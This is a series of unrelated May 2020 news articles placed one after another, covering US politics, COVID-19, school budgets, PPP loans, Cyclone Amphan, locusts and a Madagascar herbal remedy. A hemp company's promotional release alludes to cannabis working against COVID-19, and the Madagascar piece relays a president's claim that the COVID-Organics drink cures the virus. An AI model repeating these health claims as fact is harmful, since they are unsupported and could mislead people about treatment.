the environment fun, dynamic and transparent with employee engagement activities such as internal cooking challenges to quiz days.So, so far, weve managed to remain in good spirits but as a close-knit team of 22, we miss ordinary days in the office.The only real change has been learning the art of successful Zoom calls. As a new company with a growing team, challenges and solutions arise by the dozen, and being in the office allowed us to easily pop over to a colleagues office and chat through specific ideas, challenges and strategies that needed urgent dealing with.Now that we are all working remotely, we have learnt to strategise more effectively.New business acquisition through online platforms has far exceeded all expectations in an industry that is largely driven by face to face meetings.I dont believe we will return to normal as we know it for a long time. The new way of doing business will take precedence over face to face engagements. I believe we have a tough six months ahead of us to reshape the economy and pivot the business through novel and niche marketing mechanisms.We have to be more agile than ever to remain relevant and provide real solutions to support the people of Africa through our wellness products and a viable entrepreneurship opportunity.Now more than ever, the world and its economy need you.
"The great state of Michigan is grappling with a series of disasters right now: record unemployment, coronavirus, flooding, and today, a visit from Donald Trump," Stephen Colbert said on Thursday's Late Show. Trump was visiting a Ford plant, and despite the company and Michigan's attorney general asking him to wear a mask, he did not  at least not in front of the media.

"Now, any president can be an idiot, but here's where Donald Trump just takes it to the next level: He was answering questions about not wearing masks in front of a sign about how that factory was making masks," Colbert said. Trump went on to shrug off a second wave of COVID-19 and recount, yet again, the fable of his "Michigan Man of the Year" award. And earlier in the day, he added, "Trump talked about his COVID test results in the most confusing way possible."

Comedian Sarah Cooper pantomimed Trump's positively negative word salad.

I tested very positively pic.twitter.com/lp4fE2bbai  Sarah Cooper (@sarahcpr) May 21, 2020

"Even his negatives are positive  isn't that something?" Jimmy Kimmel marveled. Trump's muddled answer followed his update on hydroxycholroquine, and "it's pretty clear what's going on here, right? He blurted out that he was taking it just to trigger the news media  successfully, by the way  even though there's no way in hell he's taking this stuff. You think any White House doctor, even a Trump doctor, is gonna give the president a pill that could stop his heart, just because he asked for it?"

Trump was truthful that he wore a mask at the Ford plant, "for a minute  TMZ got a rare shot of Donald Trump in a mask," Kimmel said. "But what is the point of this? Either you wear a mask or you don't wear a mask."

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Of course Trump didn't wear a mask in front of the cameras, Late Night's Seth Meyers said. "Widespread mask-wearing  along with testing, contract tracing, and isolation  is one of the few simple measures that could very possibly help us get back to some semblance of normalcy, and yet conservatives have decided to turn it into yet another dumb culture war issue. Some have even theorized that it's a media conspiracy to keep people permanently afraid." Watch his anagram-filled closer look at coronavirus studies, Trump's war on mail-in voting, and the GOP's "insane conspiracy theories" below.

More stories from theweek.com

There's always a bigger scandal

Coronavirus will win. America needs to make a plan for failure.

How pandemics change society


WASHINGTON - FBI Director Christopher Wray has ordered an internal review of how the bureau handled its investigation of Michael Flynn, President Donald Trump's former national security adviser, the bureau said in a statement Friday.

The review, which will be handled by the FBI's inspection division, will both seek to "determine whether any current employees engaged in misconduct," and evaluate broader FBI policies and procedures to "identify any improvements that might be warranted," the statement said.

The review is unusual, particularly because Attorney General William Barr already had commissioned St. Louis U.S. Attorney Jeff Jensen earlier this year to examine the handling of Flynn's case. The statement said the FBI's review would "complement" that work, and Jensen's examination would take priority. Jensen is one of a number of U.S. attorneys whom Barr has commissioned to investigate matters of interest to Trump.

"I don't know what the point is, other than to appease the attorney general," Gregory Brower, a former FBI official who served under Wray, said of the new review. "There's a pattern of wanting to be able to say certain things are being investigated."

Trump has complained publicly about Wray for "skirting" the debate about the FBI's 2016 investigation of possible coordination between Russia and the Trump campaign to influence the election, of which the Flynn case was a part. He has even suggested Wray's future as FBI director might be in doubt.

People close to the president, though, have said he does not seem inclined to fire Wray, and Barr has publicly defended the FBI director, calling him "a great partner to me in our effort to restore the American people's confidence in both the Department of Justice and the FBI."

Trump appointed Wray as FBI director in 2017, and he is supposed to have a 10-year term to keep his position insulated from politics.

"It's disappointing," Trump told Fox News earlier this month when asked about Wray's role in ongoing reviews of the FBI's handling of the Russia investigation. "Let's see what happens with him. Look, the jury's still out."

Wray's move could partially placate Trump, as it suggests the FBI director is heeding his repeated calls to explore what the president sees as malfeasance in the Russia investigation. But the FBI statement made clear its impact would be limited.

Trump has pushed for criminal prosecutions of those involved in the case. The FBI noted it "does not have the prosecutorial authority to bring a criminal case."

While the FBI said current employees could face discipline, most of those involved in the matter that have drawn Trump's ire - including former FBI director James Comey, former deputy director Andrew McCabe, and former counterintelligence agent Peter Strzok - are no longer employed there.

"As for former employees, the FBI does not have the ability to take any disciplinary action," the statement said.

Flynn pleaded guilty in 2017 to lying to agents about conversations he had with a Russian diplomat. Trump had fired him as national security adviser for lying to the vice president about the same thing. But as he awaited sentencing, Flynn changed legal teams and sought to undo his plea, alleging a host of misconduct, including that he was entrapped by the FBI agents who interviewed him.

At Jensen's recommendation, the Justice Department this month took the rare step of asking the court to throw out the case entirely, deciding that agents did not have a good reason to interview Flynn in the first place. Two FBI agents had been detailed to Jensen's team, and officials said there had been discussions about an internal FBI review after he made his recommendation to drop the case.

The department's move has proven controversial, with many legal observers asserting that Barr seemed to be trying to help a friend of the president. A career prosecutor assigned to the case withdrew from the matter before the department changed its position. But many on the political right hailed the move, and Trump heaped praise on his attorney general.

The case is now mired in complicated legal proceedings. After U.S. District Judge Emmet Sullivan appointed a retired judge to oppose the Justice Departments position and consider whether Flynn could be held in contempt of court, Flynns legal team asked an appeals court to intervene. A three-judge panel on Thursday ordered Sullivan to explain his actions.
Frederic de Courtois, Generali general manager, said that the company would give a full update on its outlook for 2021 in November, since it would be some time before the insurer could fully assess the impact of the pandemic.

De Courtois said that Generali was less exposed than some other insurers to some of the business lines hardest hit by the virus, such as credit insurance, big corporate business, and events, Reuters reported.

Generali shares were down 3.1% Thursday, according to the newswire.

The companys operating earnings were up 7.6% to 1.45 billion (around AU$2.42 billion) in the first quarter, outpacing an analyst prediction of 1.3 billion. Net profit fell to 113 million, reflecting impairments of 655 million from the impact of the COVID-19 pandemic on financial markets.

Generalis solvency ratio, a metric of financial strength, dropped to almost 190% as of May 19 from 196% at the end of March and 224% at the end of 2019. The drop was driven largely by falling Italian government bond prices, according to finance head Cristiano Borean.

Generali said it would cut costs to offset the expected fall in revenues, but de Courtois said that didnt imply lower investments or job cuts, Reuters reported.
(Newser)  Multisystem inflammatory syndrome in children, or MIS-C, may not be so aptly named. Officials are learning more about the syndrome thought to be linked to COVID-19, including that it may not be restricted to children. As the Washington Post reports, several cases have appeared in adults in their early 20s. While younger children seem to experience symptoms of Kawaski disease, including inflammation of the blood vessels, teens and young adults experience a "more severe" and "overwhelming" response that involves the heart and other organs, says Jennifer Lighter, a doctor at New York City's Langone Medical Center. The center has several patients in their early 20s, while a 20-year-old in San Diego and a 25-year-old on Long Island are also being treated.

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In a New York Times op-ed, Cynthia Wachtell describes how her 20-year-old son"a strapping 6-foot-2-inch, 190-pound man"spent four days in a hospital before recovering from MIS-C. "Our childrenwhether in kindergarten or collegeare in far more danger than we realized," she writes. As some doctors believe patients may have a genetic predisposition for an overactive immune response to the coronavirusmost cases of MIS-C appear in patients with COVID-19 antibodiesNew York State health authorities are conducting genetic tests to see if there's a link between those with the condition. At least four child patients in the US have died. (Read more MIS-C stories.)
By John Fensterwald

EdSource

School districts may have another opportunity to lay off teachers, which they normally cannot do after mid-May, if the Legislature approves the budget cuts Gov. Gavin Newsom is proposing.

If adopted next month, Newsom's proposed 8 percent cut to districts' general fund would activate a state law not used since the Great Recession. It would set in motion a layoff period through Aug. 15 for those districts that choose to use it.

Most districts probably wouldn't; they and education leaders are arguing they will need more funding with more teachers, not fewer, to reopen schools to handle health risks, social distancing demands and students with learning deficits from months of school closures. However, some districts were already in perilous financial conditions heading into the next fiscal year, before Newsom proposed budget cuts last week, and might choose furloughs to avoid bankruptcy and a state takeover.

"August layoffs will be the absolute last option that many school districts would resort to," said Michael Hulsizer, chief deputy for governmental affairs for the Kern County Superintendent of Schools. "But depending on the level of reserves and extent of the cuts, a district might have to look at this option."

The California Teachers Association plans to ask the Legislature to suspend the provision in the Education Code setting the conditions for a mid-summer layoff. The Legislature has done that twice, in 2002-03 and 2011-12, in response to lobbying by the CTA. In other years during the Great Recession, the Legislature waited too long to pass a state budget for an August layoff to take effect.

"The state cannot add insult to injury by laying off any teachers at this moment in history when our students need to heal in a safe and secure learning environment," CTA President E. Toby Boyd said in a statement. "Our students cannot endure another blow following this coronavirus crisis."

The CTA will ask the Legislature to extend the prohibition on layoffs to hourly or classified workers, who include bus drivers, janitors and teachers' aides, said CTA spokeswoman Claudia Briggs. The statute on August layoffs applies only to teachers and administrators, and districts currently have more latitude on when and how to lay off classified employees.

Newsom has not announced a position on suspending August layoffs. The Department of Finance declined requests for comment.

During an online forum organized by State Superintendent of Public Instruction Tony Thurmond on Thursday, panelist Erika Jones, a Los Angeles Unified teacher and CTA board member, said the prospect of layoffs is making it difficult to plan for distance learning.

"How can we really imagine what our classrooms could be under the guidance of science in making sure our students are safe, knowing that we have massive cuts coming?" she asked. "So this isn't the time to even think about layoffs."

In a normal year, school districts must notify teachers annually by March 15 if there is a chance they may be laid off in the next school year. Districts then have until May 15, six weeks before the deadline for passing their budgets, to decide which permanent teachers will be let go. With few exceptions, tenured teachers - those no longer on probation - must be let go based on seniority.

The trigger for an August layoff occurs when a district's revenue for the Local Control Funding Formula, which comprises the bulk of its state funding, fails to increase at least 2 percent per student from the previous year. The funding formula sets a uniform base level of funding per student, with additional money based on the enrollment of English learners and low-income, foster and homeless students.

In his initial budget for 2020-21, Newsom proposed to increase the Local Control Funding Formula by 2.3 percent, for a cost-of-living adjustment. But last week, in his annual May budget revision, Newsom proposed eliminating the COLA and then cutting nearly 8 percent - $6.4 billion - from what districts got last year under the funding formula.

Although staff pay and benefits make up between 85% and 90% of most districts' budgets, districts have options beside layoffs to reduce expenses. They can cut non-salary costs, not fill vacant positions, renegotiate with unions to scale back pay increases or reduce health benefits for current employees and for retirees in those districts, like Los Angeles Unified, that still offer them. During the last recession, unions in some districts agreed to reduce the school year up to five days and eliminate training days - in effect taking a pay cut. However, Newsom so far has not proposed reducing instructional time as an option.

An 8 percent budget cut could expedite problems for districts that have been eating away at their budget reserves, starting with the four districts - Sacramento City Unified, Sweetwater Union High School District in San Diego County, Southern Kern Unified and Belridge Elementary, both in Kern County - that county offices of education and the state financial agency, FCMAT, have given a negative rating. That means they could have trouble making payroll next year and could be the first to consider giving layoff notices in June or July.

A multi-year recession would further weaken the 41 districts with a "qualified" financial rating, which are projected to have trouble paying their bills in 2021-22 or 2022-23. These include West Contra Costa, Oakland, East Side Union in San Jose, San Diego and Santa Rosa. During the height of the Great Recession, 176 districts were designated qualified.

In his revised budget proposal, Newsom stipulated that the $6.4 billion budget cut will be rescinded if Congress provides schools at least that amount in the next stimulus legislation. The House has included $100 billion for schools nationwide in the $3 trillion HEROES (Health and Economic Recovery Omnibus Emergency Solutions) Act that it passed this month. California's share would be about a tenth of that, but the Senate has balked at passing it.

Sara Bachez, assistant executive director of governmental relations for the California Association of School Business Officers, said that while districts are pressing for additional state and federal funding, the association urges the Legislature "to resist any measures to prohibit the use of the August layoff window," given the proposed state budget.

"Ideally, districts shouldn't be laying off staff, but that's not the world we live in," she said.

This story was originally published by EdSource. Please use the following link when sharing: https://edsource.org/2020/california-districts-could-pursue-teacher-layoffs-if-new-state-budget-cuts-k-12-funding/632210

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drnadig/iStockBy TRISH TURNER, ABC News



(WASHINGTON) -- A bipartisan group of senators introduced a measure on Thursday that would double the number of weeks small business owners have to spend their federally backed loans from the Paycheck Protection Program, a crucial change designed to help borrowers who have not yet been able to reopen their businesses or are slowly reopening with coronavirus pandemic mitigation constraints.



Under current law, PPP loan recipients have eight weeks from the time the funds land in their bank accounts to spend 75% on payroll and 25% on overhead expenses, like rent and utilities, but many business owners have been unable to hire back staff for a number of reasons -- from stay-at-home orders still in place to high unemployment checks.



The legislation -- authored by Senate Small Business Committee Chairman Marco Rubio, R-Fla., his panel counterpart Ben Cardin, D-Md., along with Sens. Susan Collins, R-Maine, and Jeanne Shaheen, D-N.H. -- would extend the loan period to 16 weeks and move the deadline to apply for a PPP loan from June 30 to Dec. 31.



"The PPP is the single most critical stimulus program protecting Main Street America from the economic devastation of the measures taken to control the spread of COVID-19. The bill that we are introducing today strengthens the PPP to reflect the evolving nature of this pandemic," Collins said in a floor speech.



"We are hearing of course now from a lot of small businesses who got PPP loans, but are saying to us that they can't spend all the money on payroll -- 75% of the money on payroll -- within eight weeks," Rubio said in an online video message. "They need 12 weeks or 16 weeks because they are just starting to reopen now because there are different rules in different places."



Pilar Guzman owns Half Moon Empanadas, a nontraditional "grab-and-go" business with 13 locations around Miami, including in the airport, the University of Miami and the convention center. All of her locations have been shuttered since mid-March when the pandemic hit, with the city just entering phase one of reopening this weekend.



Guzman does not know when she will reopen or be back at full steam, particularly as her business depends largely on tourism, which is at a record low, and with the convention center currently being used as a COVID-19 hospital.



"Right now, everything is closed except my kitchen. The airport is a ghost town," Guzman said in a phone interview. "For my business, and I think for most businesses, especially my industry, I'm closed right now. I have some work. I will be opening the airport hopefully in June. I will be opening the university location hopefully in August, but who knows about that. They are doing a lot of online classes. If the Congress extends the [loan] time, then we will be able to make more use of that money."



Guzman applied for a PPP loan on the first day the program started and received funds from U.S. Century Bank in roughly 14 days. She said the federal lifeline helped her keep her salaried employees paid, though she was forced to let her hourly workers go.



"Extending the PPP loan period is extremely critical," said Rebecca Shi, executive director of the American Business Immigration Coalition, which is helping small business owners get PPP loans. "A 16- to 24-week extension is a big deal for small businesses that may otherwise be unable to bounce back before the existing eight-week forgiveness period is up."



Recipients of PPP loans must apply to have the federal government forgive their loan at the end of the loan period, and in order for that to happen, they must meet the requirements for how the money is spent. Many in the restaurant and hospitality industry have been pleading with Congress to allow more to be spent on operating expenses, some even asking for a further bailout, but it's unclear what more will happen as lawmakers have increasingly retreated to their partisan corners.



The bipartisan Senate bill introduced Thursday would also allow business owners to use the loan funds to buy personal protective equipment for staff and to pay for virus mitigation measures to comply with public health guidelines, like sneeze guards, ventilation system upgrades and even outdoor patios. These would be considered allowable overhead expenses as borrowers seek to have the loans forgiven.



Senate leaders had hoped to pass the bill Thursday, but they were unable to get the agreement of all 100 members when they employed a procedural tool to try to clear the legislation without a roll call vote. It was unclear what the objections were nor from whom they came, but since the chamber is now on a week-long recess in honor of Memorial Day, no quick action is expected, according to Senate aides.



Still, it is clear the measure has wide, bipartisan support, and the House is poised to pass a measure next week to extend the loan period to 24 weeks. It would be up to Senate Majority Leader Mitch McConnell to take that measure up.



Earlier this week, President Donald Trump -- perhaps unwittingly -- expressed support for the extension that the House is expected to approve and even suggested a longer term.



At a White House event with restaurant owners, Marvin Irby, the interim CEO of the National Restaurant Association, lobbied the president to extend the loan period.



"Mr. President, the Payroll Protection Program will be a godsend if we can make one change. If we could extend the time ... that we have to spend the proceeds. In too many communities today, the eight-week period is simply not enough time," Irby said.



"So how much? How much time do you want?" the president asked, seeming to negotiate on live television.



"Twenty-four weeks?" Irby suggested.



"How about 30 weeks?" Trump then asked and even threw out the idea of 75 weeks. He ultimately settled on 24 weeks after multiple executives indicated that would be sufficient.



The small business rescue program was created by the $2 trillion CARES Act passed earlier this year, and was so popular that Congress had to replenish the $350 billion program with another $310 billion after the program ran dry in just two weeks.



Since its launch on April 3, this program has provided forgivable loans totaling more than $512 billion to approximately 4.4 million small employers across the country, according to the Small Business Administration, which administers the program. The average loan size has decreased from the initial round of PPP, when large companies like Ruth's Chris Steakhouse and the Los Angeles Lakers were able to secure funds using a loophole in the legislation. Many of those companies have since returned the loans. Since then, the Treasury Department has cracked down on eligibility and announced any business that receives a loan in excess of $2 million will be audited.



The program still has about $100 billion left, and two banking industry sources told ABC News that the reason is likely a fear that the money cannot be spent as the law intended -- to keep pre-pandemic payroll levels -- leaving borrowers with loans they cannot repay.



"Extending the eight-week period for small businesses to use their PPP funds would be beneficial as the coronavirus crisis has evolved significantly since the first relief measures were passed," said Dan Berger, president and CEO of the National Association of Federally-Insured Credit Unions. "Each small business has their own unique needs, and providing additional flexibility to use the funds over a longer period of time will help them and their employees get from crisis to recovery that much quicker."



For Guzman, the program has been a lifesaver, but her loan period is ending in mere weeks, so she says she needs Congress to act now.



"I think it was a great program," Guzman said. "I'm originally from Mexico. I've been here 20 years. This doesn't happen in Mexico. I'm so lucky, but we need to be smart about using the money in the best way possible."



Copyright  2020, ABC Audio. All rights reserved.
People in various parts of Kolkata staged protests on Friday demanding immediate resumption of power and water supply, two days after cyclone 'Amphan' ravaged West Bengal, snapping cables, uprooting trees and leaving behind a trail of destruction.

IMAGE: Municipal workers chop an uprooted tree to clear a street, in the aftermath of Cyclone Amphan, in Kolkata, on Friday. Photograph: Swapan Mahapatra/PTI Photo

Kolkata Mayor Firhad Hakim, on his part, gave assurances that normalcy would be restored in a week, as government officials were working round the clock to improve the situation.

Attacking the Trinamool Congress government, state Bharatiya Janata Party president Dilip Ghosh said the protests were a proof that the ruling dispensation has failed to live up to people's expectations.

At Behala area in south Kolkata, agitators took to the streets and shouted slogans against the government, claiming that residents had been reeling under power and water crisis for over 48 hours, with no respite in sight.

"We have been living without mobile connectivity, electricity and proper drinking water for the last 48 hours. Is this a joke? We can do without mobile connectivity, but what about electricity and clean drinking water? We are asking for basic facilities," said Amit Dutta, a resident of Behala.

Similar protests were also reported from other parts of the state capital.

Pooja Saha, a techie who lives in central Kolkata, said he had called the Kolkata Municipal Corporation helpline number at least 50 times but got no response.

"It's stinking everywhere! I have called the KMC helpline more than 50 times, but received no response. If the clogged drains are not cleared anytime soon, people in the locality might fall ill," she said.

Hakim, who is also a TMC minister, said he had asked the city's private power supply provider to take necessary measures and ensure that supply was restored at the earliest.

"No one had imagined that the cyclone would cause such devastation. More than 5,000 trees have been uprooted. We have already cleared several roads. I can assure the people of Kolkata that normalcy would be restored within a week. We are in touch with the private power supply provider and had asked them to restore supply as early as possible," he said.

The Kolkata mayor also said the relief teams were working on a war footing, and life has returned to normal in many parts of the city.

Responding to Ghosh's criticism, Hakim said, "He should learn to speak less when the chief minister and the prime minister are interacting with each other (on the issue of improving the situation)."

Prime Minister Nareandra Modi flew down to the state capital on Friday, and undertook an aerial survey of the cyclone-hit areas in Bengal, along with CM Mamata Banerjee.

Lauding the efforts of the state government in combating the crisis, Modi announced an advance assistance of Rs 1,000 crore for cyclone-ravaged Bengal.

In Namkhana area of South 24 Parganas district, people complained that they were not given enough tarpaulin sheets to cover the roofs of houses damaged by the cyclone.

In North 24 Parganas, distressed people claimed they were running out of food, as shops in the vicinity were yet to lift shutters in the aftermath of the calamity.

Sunderbans affairs minister Manturam Pakhira said officials concerned have been asked to immediately address the problems of local people.

Cyclone 'Amphan', which made a landfall near Sunderbans in South 24 Parganas, had rampaged through several parts of the state on May 20, dumping heavy rain, swamping homes and farmland, and leaving at least 80 people dead.

The CM, following her review meeting with Modi, said Bengal has suffered losses of more than Rs 1 lakh crore.

She also said that the cyclone has adversely impacted 60 per cent of the state's population.
A woman on board the Shramik Special train gave birth to twins on Friday afternoon. However, the children died within hours of being born, officials said.

Travelling from Vapi in Gujarat, Gayatri Devi, along with her husband Bhaiya Lal, was on the way to her hometown Varanasi. Reports say she was eight months pregnant at the time of journey.

As Devi, 21, experienced labour pains, fellow women passengers helped her deliver. She gave birth to twin boys somewhere after the train crossed Bharwari in Kaushambi district.

As the authorities got the news, the train was stopped.

We got the news and the train was stopped at Sirathu where she was brought down, along with the new-born, and was sent to Sirathu PHC in an Ambulance, said head constable RPF, posted at Sirathu station, Amodh Singh.

The twins could not survive, however, the doctors managed to save the mother, who has been admitted in an isolation ward at the Kaushambi district hospital.

It was a premature delivery, both the kids were underweight. We found one had died before reaching the district hospital. The other was alive till he was brought here but by the time we could give him oxygen support, he too breathed his last, said chief medical superintendent of district hospital of Kaushambi, Dr Deepak Seth.

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New York Gov. Andrew Cuomo is facing mounting scrutiny over his handling of the coronavirus when it comes to nursing homes.

Darren McGee/Office of Governor Andrew M. Cuomo via AP

New York Gov. Andrew Cuomo sent more than 4,300 recovering coronavirus patients to nursing homes across the Empire State, according to the Associated Press.

Cuomo's executive order on the nursing homes  which was intended to free up hospital beds for the most critical COVID-19 patients  was reversed on May 10.

The New York State Department of Health responded to the AP's tally by saying they can't verify it, citing the state's process of "still validating our own comprehensive survey of nursing homes admission and re-admission data."

"It was the single dumbest decision anyone could make if they wanted to kill people," one New Yorker who lost his 88-year-old father to the virus told the AP.

Visit Business Insider's homepage for more stories.

Facing mounting scrutiny over his decision to send recovering coronavirus patients to nursing homes across the Empire State, a new report has a number attached to New York Gov. Andrew Cuomo's controversial executive order: at least 4,300.

That tally comes from the Associated Press, not the state.

Cuomo's executive order from March 25 was intended to ease the burden on hospitals dealing with the most critical COVID-19 patients.

But by sending elderly New Yorkers recovering from COVID-19 to nursing homes, the virus spread among the most vulnerable and has since resulted in 5,800 deaths at New York nursing homes and adult care facilities.

The New York State Department of Health did not offer its own count to the AP and said they could not verify the tally, citing the state's process of "still validating our own comprehensive survey of nursing homes admission and re-admission data."

On May 10, the governor reversed the executive order.

Cuomo continued to defend the decision at his press briefings this week by arguing he was simply following the CDC's guidelines.

Elsewhere, he has made no bones about breaking from the federal government when it comes to going beyond their guidances in other instances  particularly with New York State on PAUSE, his stay-at-home order.

Story continues

The governor has also pointed to state statutes mandating that nursing homes move patients from their facilities if they cannot receive adequate care on the premises, though the March 25 executive order stated "no resident shall be denied re-admission or admission to the (nursing home) solely based [on a confirmed or suspected COVID-19 diagnosis]."

However, other states, such as Louisiana, implemented measures to insulate nursing homes from the spread.

The Pelican State put a 30 day hold on hospitals sending any recovering virus patients to nursing homes  with some exceptions  and saw only 1,000 COVID-related deaths in those facilities.

New York nursing home workers and experts interviewed by the AP described care centers being overrun with incoming COVID patients, and those who lost loved ones to the virus made their anger known.

"It was the single dumbest decision anyone could make if they wanted to kill people," Daniel Arbeeny told the AP, having lost his 88-year-old father to the virus after pulling him out of a Brooklyn nursing home that saw more than 50 deaths.

"This isn't rocket science," Arbeeny said. "We knew the most vulnerable  the elderly and compromised  are in nursing homes and rehab centers."

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WASHINGTON (Reuters) - The World Bank on Thursday approved a record $500 million in grants and low-interest loans to help countries in Africa and the Middle East fight swarms of desert locusts that are eating their way across vast swaths of crops and rangelands.

Four of the hardest-hit countries - Djibouti, Ethiopia, Kenya and Uganda - will receive $160 million immediately, Holger Kray, a senior World Bank official, told Reuters. He said Yemen, Somalia and other affected countries could tap funds as needed.

The Horn of Africa finds itself at the epicenter of the worst locust outbreak we have seen in a generation, most probably in more than a generation, he said, noting the new coronavirus pandemic is exacerbating the crisis.

Locust swarms have infested 23 countries across East Africa, the Middle East and South Asia, the biggest outbreak in 70 years, the World Bank said. It threatens food supplies in East Africa where nearly 23 million people are facing food shortages.

See graphic: here

The World Bank estimates the Horn of Africa region could suffer up to $8.5 billion in damage to crop and livestock production by year-end without broad measures to reduce locust populations and prevent their spread. Even with the measures, losses could be as high as $2.5 billion, it said.

Desert locusts can travel up to 150 km (95 miles) a day, sometimes in swarms as large as 250 km (155.34 miles) across, eating their own body weight in greenery. [nL4N2AI3WF]

In Kenya, the locusts are eating in one day the amount of food consumed by all Kenyans in two days, Kray said.

The new World Bank program will help farmers, herders and rural households by providing fertilizer and seeds for new crops, and cash transfers to pay for food for people and livestock.

It will also fund investments to strengthen surveillance and early warning systems to make the region more resilient over the medium- to longer-term, Kray said.
Phoenix, Arizona--(Newsfile Corp. - May 22, 2020) - The Stock Day Podcast welcomed HEMP, INC. (OTC Pink: HEMP) ("the Company"), a company that seeks to build a business constituency for the American small farmer, the American veteran, and other groups experiencing the ever-increasing disparity between tapering income and soaring expenses. The CEO of the Company, Bruce Perlowin, joined Stock Day host Everett Jolly.

Jolly began the interview by asking about the Company's King of Hemp Pre-Rolls, which have been in increased demand despite the COVID-19 pandemic. "We're actually exploding in our business," shared Perlowin. "We just finished our blend, so we are now legal in all 50 states," he continued. "COVID-19 doesn't affect us because we sell it over the internet and ship directly to stores and individuals," said Perlowin, adding that the Company is located in a safe area. "We grew about 100,000 lbs of Pre-98 OG Bubba Kush. We're going to sell about 10-20% of that, and we may go a little bit over that, and the rest will go into our pre-rolls" said Perlowin. "We've had more action in the last two weeks than we have all year."

Jolly then asked whether the Company is focusing more on retail or wholesale. Perlowin explained that the Company will remain focused on both wholesale and retail strategies going forward, adding that their ability to sell in all fifty states will allow them to focus even more on direct to consumer sales. "This is our year," said Perlowin. "In the second quarter you'll start seeing the huge sales we've been working towards all of these years."

"How has COVID-19 affected the industry?", asked Jolly. Perlowin explained that many companies in the marijuana and hemp industry are located in rural areas allowing for easier social distancing and safer working conditions. "It has not affected us at all in terms of productivity, however it has affected us in the marketplace," he shared, adding that many studies have emerged discussing the effectiveness of cannabis against COVID-19.

Jolly then noted that the Company has established a rehabilitation and cultivation space, and asked about their growing strategy in the Arizona climate. "You have to be careful. You have to plant before June or July," explained Perlowin, adding that the Arizona growing season allows for at least two crops. "You just have to make sure you have a strain that is climatized for this climate."

The conversation then turned to the Company's potential over the remainder of 2020. "I think you can expect from Hemp, Inc. more revenue than possibly the entire first nine years of our existence," said Perlowin, noting pending sales. "Our sales are exploding."

To hear Bruce Perlowin's entire interview, follow the link to the podcast here: https://audioboom.com/posts/7588929-hemp-inc-discusses-rapidly-increasing-revenues-for-2020-with-the-stock-day-podcast

Investors Hangout is a proud sponsor of "Stock Day," and Stock Day Media encourages listeners to visit the company's message board at https://investorshangout.com/

WHAT IS HEMP, INC.?

What is Hemp, Inc.? With a deep-rooted social and environmental mission at its core, Hemp, Inc. seeks to build a business constituency for the American small farmer, the American veteran, and other groups experiencing the ever-increasing disparity between tapering income and soaring expenses. As a leader in the industrial hemp industry with ownership of the largest commercial multi-purpose industrial hemp processing facility in North America, Hemp, Inc. believes there can be tangible benefits reaped from adhering to a corporate social responsibility plan.

SOCIAL NETWORKS

http://www.facebook.com/hempinc (Facebook)

https://www.facebook.com/KingOfPot (Bruce Perlowin's Facebook Page)

https://www.hempincpresents.com (Hemp, Inc.'s YouTube Channel)

FORWARD-LOOKING DISCLAIMER AND DISCLOSURES

This press release may contain certain forward-looking statements and information, as defined within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934, and is subject to the Safe Harbor created by those sections. To clarify the issue of OTC placing a stop sign next to Hemp, Inc.'s stock trading symbol, that symbol indicates Hemp, Inc. does not report their financials. As a non-reporting pink sheet company, Hemp, Inc. is not required to report. The company does, however, choose to publicly report its quarterly and yearly financials on its website. According to the company's CEO, the OTC stop sign is a misrepresentation of that reporting fact. This material contains statements about expected future events and/or financial results that are forward-looking in nature and subject to risks and uncertainties. Such forward-looking statements by definition involve risks, uncertainties.

Contact Information

Hemp, Inc.

855-436-7688

ir@hempinc.com

About The "Stock Day" Podcast

Founded in 2013, Stock Day is the fastest growing media outlet for Nano-Cap and Micro-Cap companies. It educates investors while simultaneously working with penny stock and OTC companies, providing transparency and clarification of under-valued, under-sold Micro-Cap stocks of the market. Stock Day provides companies with customized solutions to their news distribution in both national and international media outlets. The Stock Day Podcast is the number one radio show of its kind in America. Stock Day recently launched its Video Interview Studio located in Phoenix, Arizona.

SOURCE:

Stock Day Media

(602) 821-1102

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56378
Trade unions OGBL, LCGB, and NGL-Snep met with Minister of Mobility Francois Bausch to discuss the future of Luxembourg's aviation sector, which risks being permanently hamstrung by the ongoing coronavirus crisis.

The trade unions demanded coordinated safety measures at Luxembourg's airport and on planes, and voluntary virus tests for employees in the aviation sector.

The unions further demanded the creation of a specialised work group that will join efforts with airline and employee representatives to devise future strategies.

The news comes as Luxembourg's airport prepares to reopen next week.
- The head of the UNs World Health Organisation commended Madagascars efforts against the coronavirus pandemic

- President Andry Rajoelina said he had a successful talk with Tedros Ghebreyesus and that the WHO will sign a confidentiality clause on the formulation of COVID Organics (CVO)

- The organisation will also support clinical observations in the herbal beverage Rajoelina claimed could prevent or cure the virus in Africa

- The Madagascar leader had urged the public to protect themselves from the novel coronavirus by drinking CVO

President Andry Rajoelina has said Madagascar will sign a confidentiality clause with the World Health Organisation (WHO) on the formulation of COVID-Organics.

Rajoelina disclosed this after a teleconference with WHO boss Tedros Adhanom Ghabreyesus on Wednesday, May 20.

READ ALSO: Truck driver who tested for COVID-19 at Malaba border receives positive results while in Kirinyaga

On Sunday, May 17, Andry Rajoelina urged the public to protect themselves from the novel coronavirus by drinking CVO. Photo: BBC.

Source: UGC

READ ALSO: Kericho police on the spot for shooting, injuring medic during curfew

Making the announcement through his Twitter handle, he said the WHO had agreed to support the countrys clinical observation process of the purported cure for the coronavirus pandemic.

Successful exchange with Tedros who commends Madagascars efforts in the fight against COVID-19, he posted on Twitter.

"If it were not for Madagascar, but a European country that had discovered the remedy COVID-Organics, would there be so many doubts? I do not think so...," he added.

READ ALSO: Eunuchoidism: Key roles played by aunties in identifying nephews with reproductive challenges

The WHO boss tweeted that he had a good call with Rajoelina about the COVID-19 situation in his country. Photo: WHO.

Source: Facebook

Confirming the engagement, the WHO boss tweeted that he had a call with Rajoelina about the COVID-19 situation in his country

We discussed how to work together on therapeutics research and development. And we agreed that solidarity is key to fighting the pandemic and keeping the world safe, he said.

This came days after Rajoelina delivered a scathing verdict of persons who had increasingly spoke against the countrys purported traditional cure for COVID-19.

READ ALSO: Fighting coronavirus: Nairobi man volunteers to sanitise police stations

In an exclusive interview with French broadcasters, France24 and RFI, Rajoelina said his country would continue to administer and develop the cure which accounted for a majority of its recoveries.

We have 171 cases, including 105 cured. The patients who were cured took only the COVID-Organics medication, he confirmed.

Asked about warnings issued by WHO, ECOWAS and Africa CDC, he dismissed them stressing that the warnings were meant to detract and discourage progress of the drug.

READ ALSO: Refugee making soap in Kakuma camp lowers price to make it affordable during pandemic

We say bad things about the Tambavy CVO product when it only does good. They want to slow us down, discourage us, forbid us to move forward  he stressed.

